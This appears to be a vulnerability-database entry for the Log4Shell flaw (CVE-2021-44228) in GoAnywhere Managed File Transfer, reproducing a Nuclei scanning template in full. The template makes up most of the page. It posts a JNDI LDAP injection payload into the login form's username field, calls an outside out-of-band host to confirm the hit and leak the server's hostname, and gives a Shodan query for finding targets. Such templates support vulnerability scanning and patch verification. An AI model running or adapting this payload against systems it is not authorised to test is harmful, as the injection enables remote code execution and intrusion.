goanywhere-mft-log4j-rce: GoAnywhere Managed File Transfer - Remote Code Execution (Apache Log4j)

日期: 2025-08-01 | 影响软件: GoAnywhere Managed File Transfer | POC: 已公开

漏洞描述

GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.

PoC代码[已公开]

id: goanywhere-mft-log4j-rce

info:
  name: GoAnywhere Managed File Transfer - Remote Code Execution (Apache Log4j)
  author: pussycat0x
  severity: critical
  description: GoAnywhere Managed File Transfer is vulnerable to a remote command execution (RCE) issue via the included Apache Log4j.
  reference:
    - https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"GoAnywhere Managed File Transfer"
  tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        GET /goanywhere/auth/Login.xhtml HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /goanywhere/auth/Login.xhtml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/goanywhere/auth/Login.xhtml

        formPanel%3AloginGrid%3Aname=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.name.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        name: view
        group: 1
        regex:
          - 'javax\.faces\.ViewState:1" value="(.*)" autocomplete'
        internal: true
        part: body
# digest: 4b0a004830460221008e7ab1882920467ace54c8058ca3ac3d6e82886e9413e3a399e91c1318ec6df20221008e7cac1d594bdb2c0367e3fcac34d00ee217b50cfc569d490a8d3d8dda62233a:922c64590222798bb761d5b6d8e72950